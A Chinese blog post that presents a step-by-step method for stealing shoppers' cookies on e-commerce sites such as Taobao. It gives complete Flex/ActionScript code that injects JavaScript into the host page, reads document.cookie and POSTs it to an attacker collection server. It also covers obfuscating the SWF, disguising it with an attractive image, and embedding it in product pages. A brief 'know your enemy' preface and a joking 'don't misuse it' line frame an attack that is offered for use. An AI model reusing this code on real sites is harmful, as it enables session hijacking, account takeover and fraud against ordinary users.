现在电子商务越来越活,电子商务网上购物已经成为我们生活中不可缺少的一部分。因此,电子商务网站的安全在电子商务网站也是很重要的部分。保护网站用户身份安全,保护用户的密码账号,Cookies已经成为网上交易安全最重要的一部分。难怪拍拍网,淘宝网的登录页面变化很快,里面内容也是越丰富,里面安装的ActiveX控件经常变,登录前帐号密码发送加密方式也不断变化。一旦用户的cookies被窃取了,视乎拿到cookies不法者只要使用得当就可以实现用户的成为,比如修改你的个人信息,网上购物等等。当然,本文这里倒不是说要获取别人的东西,而是要大家明白这个原理等到你自己做类似网站安全注意这个东东,知彼知己,百战不胜嘛。
我们拿淘宝网的东东来说说吧,里面安全还是做的不错,目前外部提交的包含javascript,ifrane链接外部等XSS攻击的代码都被屏蔽了。不过flex(flash)还是可以运行的,但是要交钱和审核过flash才可以好像。通常,获取cookies方法在你要攻击的网站页面上嵌入javascript:比如:
http://收集cookies网站入口/xxxxxx.xx/?cookie=document.cookies
或者嵌入一个iframe,在iframe实现类是上面的源码。这样用户的cookie就拿到手了。不过一般的大型电子商务网站比如淘宝网都已经屏蔽这些了。所以利用js,iframe是无法实现的。我想到最后一交就是将flash嵌入到要攻击的网站页面,然后在flash运行时候动态嵌入js到页面上(前提是必须是flash没有被屏蔽)。这样js并没有提交电子网站上,一般是不被发现了。当然我说的是一般哦。呵呵。好了开始实现获取cookie flash代码吧:
package luodongfu.test.stealcookie
{
import flash.external.ExternalInterface;
import mx.controls.Alert;
public class CookieStealer
{
/**
* 绑定js ,运行时候嵌入到页面上,秘密就在这里。
*/
public static function embedJS():void
{
var str:String = "";
//设置cookie
str += 'function setCookie_(name, value, expires, security) {' +
' var str = name + "=" + escape(value);' +
' if (expires != null) str += ";expires=" + new Date(expires).toGMTString() + "";' +
' if (security == true) str += ";secure";' +
' document.cookie = str;' +
'}';
//获取cookie
str += 'function getCookie_(name) {' +
' var arr = document.cookie.match(new RegExp(";?" +name + "=([^;]*)"));' +
' if(arr != null) return unescape(arr[1]); ' +
' return null;' +
'}';
str += 'function getCookieAll() {' +
' return document.cookie;' +
'}';
str += 'function deleteCookie_(name) {' +
' var d = new Date();' +
' d.setTime(d.getTime() - 1);' +
' var value = getCookie_(name);' +
' if(value != null) {' +
' alert(document.cookie);document.cookie = name + "=" + escape(value) + ";expire=" + d.toGMTString();' +
' }' +
'}';
if (ExternalInterface.available) {
ExternalInterface.call("eval", str);
}
}
/**
* 获取cookie值
* @param name
* @return
*
*/
public static function getCookie(name:String):String {
if (ExternalInterface.available) {
return ExternalInterface.call("getCookie_", name);
}
return null;
}
public static function getAvailable():Boolean {
return ExternalInterface.available;
}
/**
* 删除cookie
*
* @param name
*
*/
public static function deleteCookie(name:String):void {
if (ExternalInterface.available) {
ExternalInterface.call("deleteCookie_", name);
}
}
}
}
好了,万事具备,只欠东风了,就是调用以上嵌入代码写到页面上。
<mx:Application xmlns:mx="http://www.adobe.com/2006/mxml" layout="absolute" creationComplete="stealCookieNow()" width="60" height="20">
<mx:Script>
<![CDATA[
import luodongfu.test.stealcookie.CookieStealer;
import mx.controls.Alert;
//flash一旦被下载到用户浏览器自动运行这段嵌入js
public function stealCookieNow():void
{
CookieStealer.embedJS();
if (ExternalInterface.available)
{
var cook:String="";
try
{ //这句话得到cookie
cook= ExternalInterface.call("getCookieAll");
}
catch (error:Error)
{
Alert.show("Error");
}
//得到cookie之后赶紧把他送到你服务器吧,cookie是有期限哦,要用就赶紧使用吧 以下代码就是发送cookie到你的网站
var request:URLRequest = new URLRequest("http://cookiecollection.com/cookiehere");
var params:URLVariables = new URLVariables();
params.cookie=cook;
request.data=params;
request.method=URLRequestMethod.POST;
loader.load(request);
}
else {
Alert.show("ExternalInterface not avalible");
}
}
]]>
</mx:Script>
</mx:Application>
编译你的flex工程生成swf文件CookieStealer.swf,这个flash文件就是窃取的挂马,呵呵。
为了保证你的挂马不被人家反编译过来查看,最后SWF Protect加密马甲生成CookieStealer2.swf一下吧。
好了,将你这个swf文件挂到你自己的收集cookies服务器在写一个HttpServlet来接受Cookie吧。
最后在电子商务网站(比如淘宝网的商品宝贝详情)可以提交html页面提交你的服务器swf网址吧。源码如下:
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"
codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0"
width="100" height="300" id="myNext">
<param name="quality" value="transparent">
<param name="wmode" value="opaque">
<param name="allowScriptAccess" value="always" />
<param name="movie" value="http://你的服务器/getcookies/CookieStealer2.swf">
<param name="FlashVars" value=""/>
<param name="quality" value="high" />
<embed src="http://你的服务器/getcookies/CookieStealer2.swf" FlashVars=“"
quality="high" width="700" height="380" name="myNext" allowScriptAccess="always"
type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer
记得给你的swf文件搞个漂亮图片,不容易让人家怀疑,呵呵。这叫瞒天过海,知人知面不知心啊,呵呵
好了,收工,不要拿去在坏事哦,呵呵
分享到:
相关推荐
- CSRF(跨站请求伪造)和XSS(跨站脚本攻击)是常见的网络攻击方式,防范措施包括使用CSRF Token、验证请求的HTTP头部等。 6. 浏览器渲染: - 浏览器加载页面的过程包括解析URL、DNS查找、建立TCP连接、发送HTTP...
- **XSS(跨站脚本攻击)防御**:对用户提交内容进行转义或过滤,防止恶意代码注入。 - **CSRF(跨站请求伪造)防护**:使用令牌机制确保请求来源的有效性。 7. **模板引擎** - **可能使用模板引擎**如Smarty,...
- CSRF(跨站请求伪造)和XSS(跨站脚本攻击)是两种常见的Web安全威胁,防范措施包括验证令牌、输入过滤等。 - Cookie可以通过设置HttpOnly和Secure标志来防止XSS攻击。 9. **浏览器工作原理**: - 当用户输入...
#### Cookie防范XSS攻击 可以通过设置HttpOnly属性来防止JavaScript访问Cookie,从而防范XSS攻击。 #### Cookie和Session的区别 Cookie是存储在客户端的小型文本文件,而Session是存储在服务器端的会话信息。二者常...
"AAFW_ISAPI"通过检查请求的COOKIE和URL,可以防止SQL注入、跨站脚本(XSS)等常见的Web安全威胁。它可能通过解析请求头,检查输入的有效性和安全性,对非法字符或恶意构造的请求进行拦截。 在实际编程中,ISAPI...
6. **安全性**:为了保护用户信息,开发者必须遵循最佳安全实践,比如使用HTTPS加密通信,防止跨站脚本(XSS)和跨站请求伪造(CSRF)攻击。 在"Login-main"这个文件中,可能包含了实现以上功能的源代码,包括HTML...
21. 前端安全性:如防止盗图、防范XSS攻击、避免SQL注入,这些是前端工程师必备的安全知识。 22. HTTP和HTTPS:了解两者之间的区别、HTTPS的工作原理、如何将http切换成https,以及http请求头和状态码,对于前端与...
2. **布局**:Facebook登录表单通常采用居中对齐的布局,使用`display: flex`或`grid`可以轻松实现。通过调整容器的`justify-content`和`align-items`属性,你可以控制元素在容器内的位置。 3. **表单元素**:登录...
- **安全性**:探讨跨域策略和常见的安全攻击(如XSS、CSRF等)。 8. **网络协议**: - **HTTP协议**:理解HTTP请求方法、状态码、头部等基本概念。 - **cookie、session和token**:了解它们在用户身份验证和...